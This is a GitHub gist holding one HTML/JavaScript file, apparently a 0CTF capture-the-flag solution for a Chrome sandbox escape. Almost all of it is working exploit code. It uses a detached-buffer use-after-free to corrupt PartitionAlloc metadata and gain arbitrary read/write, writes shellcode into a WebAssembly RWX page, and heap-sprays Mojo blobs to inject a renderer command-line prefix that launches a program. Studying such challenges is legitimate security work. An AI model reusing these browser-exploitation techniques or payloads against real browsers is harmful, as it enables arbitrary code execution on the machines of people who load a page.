Created
July 14, 2021 11:03
-
-
Save hkraw/455545fb6a7b0cd9364df1ec7f8c625c to your computer and use it in GitHub Desktop.
Revisions
-
hkraw created this gist
Jul 14, 2021 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,449 @@ <html> <head> <title>0ctf sbx</title> </head> <body> <h1>HK</h1> <pre id='log'></pre> </body> <script src='./mojo_bindings.js'></script> <script src='./mojo_js/third_party/blink/public/mojom/tstorage/tstorage.mojom.js'></script> <script src="./mojo_js/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script> <script id = 'worker'> worker: { if(typeof window === 'object') break worker self.onmessage = function(event) {} } </script> <script id='helpers'> let wasm_code = new Uint8Array([ 0, 97,115,109, 1, 0, 0, 0, 1,133,128,128,128, 0, 1, 96, 0, 1,127, 3,130,128,128,128, 0, 1, 0, 4, 132,128,128,128, 0, 1,112, 0, 0, 5,131,128,128,128, 0, 1, 0, 1, 6,129,128,128,128, 0, 0, 7,145,128, 128,128, 0,2,6,109,101,109,111,114,121,2,0,4,109,97, 105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0, 0,65,42,11 ]) var wasmModule = new WebAssembly.Module(wasm_code) var wasmInstance = new WebAssembly.Instance(wasmModule) var evilFunc = wasmInstance.exports.main let conversionBuffer = new ArrayBuffer(0x40) let floatView = new Float64Array(conversionBuffer) let intView = new BigUint64Array(conversionBuffer) let u8View = new Uint8Array(conversionBuffer) BigInt.prototype.hex = function(){return '0x' + this.toString(16) } BigInt.prototype.i2f = function(){intView[0] = this;return floatView[0]} BigInt.prototype.smi2f = function(){intView[0] = this << 32n; return floatView[0] } BigInt.prototype.shl32 = function(){return this << 32n} BigInt.prototype.shr32 = function(){return this >> 32n } String.prototype.to_u64 = function(){ var tmp = this while(tmp.length%8) tmp += "\x00" for(let i = 0; i < 8; i++) u8View[i] = tmp.charCodeAt(i) return intView[0] } BigInt.prototype.byteSwap = function(){ var result = 0n var tmp = this for(let i = 0; i < 8; i++) { result = result << 8n result += tmp & 255n tmp = tmp >> 8n } return result } Number.prototype.f2i = function(){floatView[0] = this;return intView[0]} Number.prototype.f2smi = function(){floatView[0] = this;return intView[0] >> 32n} Number.prototype.f2il = function(){floatView[0] = this;return intView[0] & 0xffffffffn} Number.prototype.i2f = function(){return BigInt(this).i2f()} Number.prototype.smi2f = function(){return BigInt(this).smi2f()} const getSuperPage = addr => addr & (~((1n << 21n) - 1n)) const getPartitionPageBaseWithinSuperPage = ( addr, partitionPageIndex ) => getSuperPage(addr) + partitionPageIndex << 14n const getMetadataArea = addr => getSuperPage(addr) + 0x1000n const getPartitionPageMetadataArea = addr => getMetadataArea(addr) + ((addr & ((1n << 21n) - 1n)) >> 14n) * 0x20n const sleep = ms => new Promise(resolve=>setTimeout(resolve,ms)) const gc = () => { let promise = new Promise((cb)=>{ let arg; for(let i = 0; i < 100; i++) new ArrayBuffer(1024*1024*60).buffer cb(arg) }) return promise } function getAllocationConstructor() { let blob_registry_ptr = new blink.mojom.BlobRegistryPtr(); Mojo.bindInterface(blink.mojom.BlobRegistry.name, mojo.makeRequest(blob_registry_ptr).handle, "process", true); function Allocation(size=280) { function ProgressClient(allocate) { function ProgressClientImpl() {} ProgressClientImpl.prototype = { onProgress: async (arg0) => { if (this.allocate.writePromise) { this.allocate.writePromise.resolve(arg0); } } }; this.allocate = allocate; this.ptr = new mojo.AssociatedInterfacePtrInfo(); var progress_client_req = mojo.makeRequest(this.ptr); this.binding = new mojo.AssociatedBinding( blink.mojom.ProgressClient, new ProgressClientImpl(), progress_client_req ); return this; } this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size}); this.progressClient = new ProgressClient(this); blob_registry_ptr.registerFromStream("", "", size, this.pipe.consumer, this.progressClient.ptr).then((res) => { this.serialized_blob = res.blob; }) this.malloc = async function(data) { promise = new Promise((resolve, reject) => { this.writePromise = {resolve: resolve, reject: reject}; }); this.pipe.producer.writeData(data); this.pipe.producer.close(); written = await promise; console.assert(written == data.byteLength); } this.free = async function() { this.serialized_blob.blob.ptr.reset(); await new Promise(resolve=>setTimeout(resolve, 100)); } this.read = function(offset, length) { this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length}); this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null); return new Promise((resolve) => { this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => { result = new ArrayBuffer(length); this.readpipe.consumer.readData(result); this.watcher.cancel(); resolve(result); })}); } this.readQword = async function(offset) { let res = await this.read(offset, 8); return (new DataView(res)).getBigUint64(0, true); } return this; } async function allocate(data) { let allocation = new Allocation(data.byteLength); await allocation.malloc(data); return allocation; } return allocate; } async function heapSpray( allocator, data, size) { return Promise.all( Array(size).fill().map( () => allocator(data) )); } </script> <script> if(typeof(Mojo)!=='undefined') { (async function(){ console.log("MOjo Enabeleed") const cmd_line_ptr = 0x9e07fb0n const setenv_chrome = 0x9d34038n const system = 0x55410n const fakeVtableOffset = 0xaa6ba40n const L_xchg_rax_rsp = 0x3fa5114n const L_pop_rdi = 0x2e9ee1dn const L_ret = L_pop_rdi+1n const L_pop_rsi = 0x2f49c6en const L_pop_r14_r15_rbp = 0x3fa5182n let allocator = getAllocationConstructor() let tstoragePtrs = new Array() let tinstancePtrs = new Array() for(var i = 0; i < 0x1000; i++) { tstoragePtrs.push(new blink.mojom.TStoragePtr()) Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(tstoragePtrs[i]).handle) await tstoragePtrs[i].init() tinstancePtrs.push( new blink.mojom.TInstanceAssociatedPtr( (await tstoragePtrs[i].createInstance()).instance)) } var chrome_leak = undefined var chrome_base = undefined for(var i = 0; i < 0x1000; i++) { if((BigInt(((await tinstancePtrs[i].get(2)).value))&0xfffn) == 0x908n) { chrome_leak = BigInt(((await tinstancePtrs[0].get(2)).value)) chrome_base = chrome_leak - 0x1ee4908n if(chrome_base > 0n) { console.log('[*] Chrome base: 0x' + chrome_base.toString(16)) break } } } if(chrome_base == undefined) { location.reload() } await sleep(1000) for(var i = 0; i < 0x1000; i++) await tstoragePtrs[i].init() await sleep(100) let blobArrayBuffer = new ArrayBuffer(0x700) let blob = new BigUint64Array(blobArrayBuffer) blob[0x648/8] = chrome_base + cmd_line_ptr blob[0x650/8] = 1n blob[0x660/8] = 1n blob[0x670/8] = 0x4242424242424242n let spray_blob = await heapSpray(allocator, blob.buffer, 0x1000) for(var i = 0; i < 0x1000; i++) { if ( ((((await tinstancePtrs[i].getDouble() ).value).f2i()).toString(16)) == "4242424242424242") { var g_cmdline_ptr = BigInt((await tinstancePtrs[i].pop()).value) console.log('[+] g_cmdline_ptr: 0x' + g_cmdline_ptr.toString(16)) break } } if(!g_cmdline_ptr) location.reload() for(var i = 0; i < spray_blob.length; i++) spray_blob[i].free() await sleep(1000) blob[0x648/8] = g_cmdline_ptr blob[0x650/8] = 1n blob[0x660/8] = 1n blob[0x670/8] = 0x6767676767676767n let spray_blob_part2 = await heapSpray(allocator, blob.buffer, 0x1000) await sleep(2000) let L_ROP = [ 0x4141414141414141n ] for(var i = 0; i < 0x1000; i++) { if ( ((((await tinstancePtrs[i].getDouble() ).value).f2i()).toString(16)) == "6767676767676767") { var g_cmdline_switch = BigInt((await tinstancePtrs[i].pop()).value) console.log('[+] g_cmdline_switch: 0x' + g_cmdline_switch.toString(16)) break } } for(var i = 0; i < spray_blob_part2.length; i++) spray_blob_part2[i].free() await sleep(1000) blob.fill(0n) blob[0x648/8] = g_cmdline_switch+0x78n blob[0x650/8] = 0x50n blob[0x658/8] = 0n blob[0x670/8] = 0x4848484848484848n let spray_blob_part3 = await heapSpray(allocator, blob.buffer, 0x1000) await sleep(100) let command = [ g_cmdline_switch+0x80n, "--render".to_u64(),"er-cmd-p".to_u64(),"refix='/".to_u64(), "usr/bin/".to_u64(),"xcalc'".to_u64() ] for(var i = 0; i < 0x1000; i++) { if ( ((((await tinstancePtrs[i].getDouble() ).value).f2i()).toString(16)) == "4848484848484848") { console.log("Found") for(var j = 0; j < command.length; j++) { await tinstancePtrs[i].push(command[j]) } break } } let iframe = document.createElement('iframe'); document.body.appendChild(iframe); iframe.contentWindow.document.open(); iframe.contentWindow.document.write('<h1>'); iframe.contentWindow.document.close(); })() } else { (async function() { const partitionAllocHookEnabled = 0x9e0aa78 const mojo_flag = 0x9f69975 const L_ret = 0x4a6180f const blinkStorage_thread_root = 0x9df97c0 const wasmInstance_offset = 0x833dc61 async function detachBuffer(ab) { try{ var worker = new Worker( window.URL.createObjectURL(new Blob([ document.querySelector("#worker").textContent ],{type: 'text/javascript'} ))) worker.postMessage({ab: ab}, [ab]) await sleep(100); worker.terminate(); await sleep(100) } catch(excp) { console.log(excp) } } var no_gc = new Array() let victimBuffer = new ArrayBuffer(0x100) let leakBuffer = new ArrayBuffer(0x100) let victim = new BigUint64Array(victimBuffer) let holder = new BigUint64Array(leakBuffer) await detachBuffer(victimBuffer) await gc(); await gc(); await gc(); await gc(); holder.set(victim) var leaked_addr = holder[0].byteSwap() var superPage = getSuperPage(leaked_addr) var metadataPage = getMetadataArea(leaked_addr) var partitonPage = getPartitionPageMetadataArea(leaked_addr) console.log('[+] Heap Leak: 0x' + leaked_addr.toString(16)) console.log('[+] SuperPage: 0x' + superPage.toString(16)) console.log('[+] Metadata Area: 0x' + metadataPage.toString(16)) console.log('[+] PartitionPage Metadata: 0x' + partitonPage.toString(16)) holder[0] = (metadataPage + 0xe0n).byteSwap() victim.set(holder,0) no_gc.push(new ArrayBuffer(0x100)); no_gc.push(new BigUint64Array(0x100/8)) /*1,2*/ var tmp_array_buffer = new ArrayBuffer(0x300) let chrome_leak = no_gc[1][2] var chrome_base = chrome_leak - 0x9f37268n console.log('[+] Chrome base: 0x' + chrome_base.toString(16)) await gc(); await gc(); await gc(); await gc(); no_gc.push(new ArrayBuffer(8)) no_gc.push(new ArrayBuffer(8)) var victimBuffer2 = new BigUint64Array(new ArrayBuffer(8)) var holder2 = new BigUint64Array(new ArrayBuffer(8)) await detachBuffer(victimBuffer2.buffer) await gc(); await gc(); await gc(); await gc(); holder2[0] = (metadataPage + 0x20n).byteSwap() victimBuffer2.set(holder2) no_gc.push(new ArrayBuffer(8)) /*2*/ var rw_helper = new BigUint64Array(new ArrayBuffer(8)) await gc(); await gc(); await gc(); await gc(); no_gc.push(victimBuffer) no_gc.push(rw_helper) await gc(); await gc(); await gc(); await gc(); function read64(rw, address) { rw[0] = address var array_buffer = new BigUint64Array(new ArrayBuffer(8)) no_gc.push(array_buffer) array_buffer[0] = rw[0].byteSwap() rw[0] = 0n return array_buffer[0] } function write64(rw, address, value) { var backup = rw[0] rw[0] = address var array_buffer = new BigUint64Array(new ArrayBuffer(8)) no_gc.push(array_buffer) array_buffer[0] = BigInt(value) rw[0] = backup } write64(rw_helper, chrome_base+BigInt(mojo_flag),1n) var v8_heapRoot = read64(rw_helper, chrome_base+BigInt(blinkStorage_thread_root)) console.log('[+] V8 Heap base: 0x'+v8_heapRoot.toString(16)) var rwx_page = read64(rw_helper, (v8_heapRoot + BigInt(wasmInstance_offset-1)) + 0x68n) console.log('[+] RWX Page: 0x' + rwx_page.toString(16)) await gc(); await gc(); await gc(); await gc(); var shellcode_rwArrayBuffer = new BigUint64Array(new ArrayBuffer(0x1000)) await detachBuffer(shellcode_rwArrayBuffer.buffer) await gc(); await gc(); await gc(); await gc(); holder[0] = BigInt(rwx_page).byteSwap() shellcode_rwArrayBuffer.set(holder,0) no_gc.push(new ArrayBuffer(0x1000)) var shellcodeWriter = new Uint8Array(0x1000) /* RWX PAGE */ const roundUp = (value, multiple) => (value + multiple - 1) & ~(multiple - 1); const setBytes = shellcode => { for(var i = 0; i < shellcode.length; i++) shellcodeWriter[i] = shellcode[i] } function I64ToBytes(num) { let numh = Number(num/0x100000000n); let numl = Number(num&0xffffffffn); var result = []; for (let j = 0; j < 4; ++j) result.push((numl >>> 8 * j) & 0xff); for (let j = 0; j < 4; ++j) result.push((numh>>> 8 * j) & 0xff); return result; } function flatten(array) { let result = new Array(array.length), index = 0, flattenInternal = (array, result) => { for (let element of array) { if (Array.isArray(element)) flattenInternal(element, result) else result[index++] = element; } } flattenInternal(array, result); result.length = index; return result; } function prepareBytes(shellcode) { let flatArray = flatten(shellcode), roundUpLength = roundUp(flatArray, 8), result = []; while (flatArray.length < roundUpLength) flatArray.push(0x90); return flatArray; } await sleep(2000) let shellcode = new Uint8Array(prepareBytes([ 0x55, // push rbp 0x48, 0x89, 0xe5, // mov rbp, rsp 0x48, 0xbf, I64ToBytes(chrome_base), // mov rdi, chrome_base 0x48, 0x31, 0xf6, // xor rsi, rsi 0x48, 0x31, 0xd2, // xor rdx, rdx 0x48, 0x31, 0xc0, // xor rax, rax 0xbe, 0x00, 0xe0, 0xf7, 0x09, // mov esi, 0x9f7e000 0xba, 0x07, 0x00, 0x00, 0x00, // mov edx, 0x7 0xb8, 0x0a, 0x00, 0x00, 0x00, // mov eax, 0xa 0x0f, 0x05, //syscall 0x41, 0x41, 0x41, 0x41, 0x48, 0xbf, I64ToBytes(chrome_base + BigInt(partitionAllocHookEnabled)), //mov rdi, base::PartitionAllocHooks::hooks_enabled_ 0xc6, 0x07, 0x01, // mov byte ptr [rdi], 1 0x48, 0xbf, I64ToBytes(chrome_base + 0x4af3248n), // 0x4af3248 <base::PartitionAllocHooks::FreeObserverHookIfEnabled(void*)+40>: ja 0x4af324f <udt> 0x66, 0xc7, 0x07, 0x90, 0x90, // mov word ptr [rdi], 0x9090 0x48, 0xbf, I64ToBytes(chrome_base + 0x4af3270n), // 0x4af3270 <base::PartitionAllocHooks::FreeOverrideHookIfEnabled(void*)+16>: xor eax,eax 0x66, 0xc7, 0x07, 0x90, 0x90, // mov word ptr [rdi], 0x9090 0x48, 0xbf, I64ToBytes(chrome_base + 0x4af326en), // 0x4af326e <base::PartitionAllocHooks::FreeOverrideHookIfEnabled(void*)+14>: jne 0x4af3274 <udt> 0x66, 0xc7, 0x07, 0xb0, 0x01, // mov word ptr [rdi], 0x01b0 0x48, 0xbf, I64ToBytes(chrome_base + BigInt(0x4af3ec0)), // mov rdi, base::PartitionPurgePage<true>(base::internal::PartitionPage<true>*, bool 0xc6, 0x07, 0xc3, // mov byte ptr [rdi], 0xc3 0x48, 0x89, 0xec, // mov rsp, rbp 0x5d, //pop rbp 0xc3 // ret ])); setBytes(shellcode); evilFunc(); write64(rw_helper, chrome_base + BigInt(partitionAllocHookEnabled+0x10), chrome_base + BigInt(L_ret)) write64(rw_helper, chrome_base + BigInt(partitionAllocHookEnabled+0x20), chrome_base + BigInt(L_ret)) await sleep(1000) location.reload() })() } </script> </html>